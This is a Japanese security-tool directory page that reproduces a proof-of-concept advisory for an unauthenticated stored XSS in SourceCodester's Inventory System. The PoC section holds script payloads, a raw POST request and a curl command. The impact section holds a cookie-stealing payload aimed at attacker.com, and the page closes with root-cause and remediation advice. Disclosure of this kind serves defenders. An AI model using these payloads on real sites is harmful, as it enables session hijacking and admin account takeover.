Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-11518-XSS — SourceCodester Inventory Systemの認証なし保存型XSSの概念実証。細工された登録ペイロードによる管理者セッションハイジャックを示します。 | Kitploit
ツール/GitHubGitHub/xmyronn/cve-2026-11518-xss
脆弱性分析ウェブアプリケーション悪用ウェブセキュリティCTFペネトレーションテスト学習と教育
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

SourceCodester Inventory Systemの認証なし保存型XSSの概念実証。細工された登録ペイロードによる管理者セッションハイジャックを示します。

リポジトリを見る
133ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PHPとMySQLを使用した在庫管理システムにおける保存型XSS

脆弱性の詳細

項目詳細
脆弱性タイプ保存型クロスサイトスクリプティング(XSS)
影響を受けるアプリケーションPHPとMySQLを使用した在庫管理システム
ベンダーSourceCodester
影響を受けるバージョン1.0
影響を受けるファイルregister.php
パラメータfullname, username
認証要件なし(未認証)
影響管理者セッションの乗っ取り、管理パネルでの悪意のあるスクリプトの実行
CVSSスコア8.8(高)
CVSSベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

説明

SourceCodester による PHPとMySQLを使用した在庫管理システム(2026年5月23日提出)は、スタッフ登録モジュール(register.php)において 未認証の保存型クロスサイトスクリプティング(XSS) に対して脆弱です。

fullname および username 入力フィールドは、データベースに保存する前にユーザー入力をサニタイズまたはエンコードしません。管理者が ユーザー管理 ページ(users.php)にアクセスすると、サニタイズされていないペイロードがHTMLコンテキストで直接レンダリングされ、管理者のブラウザセッションで即座にJavaScriptが実行されます。

登録には 認証が不要 なため、リモートの未認証攻撃者は、ユーザー管理パネルを閲覧する任意の管理者のコンテキストで実行される任意のJavaScriptを注入できます。


攻撃シナリオ

  1. 攻撃者は /product_inventory/register.php にアクセスします — ログインは不要です。
  2. 攻撃者は fullname フィールドまたは username フィールド(あるいはその両方)に悪意のあるペイロードを送信します。
  3. ペイロードはサニタイズされることなくデータベースに保存されます。
  4. 管理者がログインして /product_inventory/users.php に移動すると、ペイロードは管理者のブラウザで自動的に実行されます。
  5. 攻撃者は管理者のセッションCookieを盗み、管理者をフィッシングページにリダイレクトしたり、管理者に代わって任意の操作を実行したりできます。

概念実証(PoC)

ステップ1 — 登録ページに移動(認証不要)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

ステップ2 — 以下の登録フォームを送信

氏名フィールドのペイロード:

root@kitploit:~
<script>alert(1)</script>

ユーザー名フィールドのペイロード:

root@kitploit:~
<script>alert(2)</script>

パスワード: 任意の値(例: test1234)

ステップ3 — HTTPリクエスト(Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

curl相当のコマンド:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

ステップ4 — 管理者として発動

管理者としてログインし、以下のURLに移動します:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

ページ読み込み時に両方のペイロードが即座に実行されます。


影響

未認証の攻撃者は以下を行うことができます:

  • 管理者のセッションCookieを盗む — 完全な管理者アカウント乗っ取りに発展
  • 管理者をフィッシングページにリダイレクトする
  • JavaScriptを介して管理者レベルの操作を静かに実行する(ユーザーの作成/削除、在庫の操作)
  • 管理パネルに永続的なキーロガーを展開する
  • 管理者インターフェースを改ざんする

セッションCookie窃取の例となるペイロード(攻撃者サーバーに置き換えてください):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

スクリーンショット

ステップ1 — 登録フォームへのペイロード注入

Screenshot 2026-05-24 051430

ステップ2 — 管理者の users.php でXSSが発火

Screenshot 2026-05-24 051452

影響を受けるコード(根本原因)

この脆弱性は、register.php がユーザー入力をサニタイズせずにデータベースへ直接挿入し、users.php が保存された値を htmlspecialchars() によるエンコードなしで出力するために存在します。

users.php における脆弱なパターン(概略):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

修正 — 出力エンコーディングの適用:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

さらに、register.php では、挿入時に strip_tags() または適切な検証を伴うプリペアドステートメントを使用して入力をサニタイズする必要があります。


修復策

  1. HTMLでユーザー提供データをレンダリングする前に、ENT_QUOTES を指定した htmlspecialchars() を使用してすべての出力をエンコードする。
  2. エントリポイントでサーバー側のすべての入力フィールドを検証およびサニタイズする。
  3. XSSの影響を軽減するためにContent Security Policy(CSP)ヘッダーを実装する。

参考情報

  • SourceCodester — PHPとMySQLを使用した在庫管理システム

報告者: Syed Imad Uddin Alvi — 独立系セキュリティ研究者

ツールをダウンロード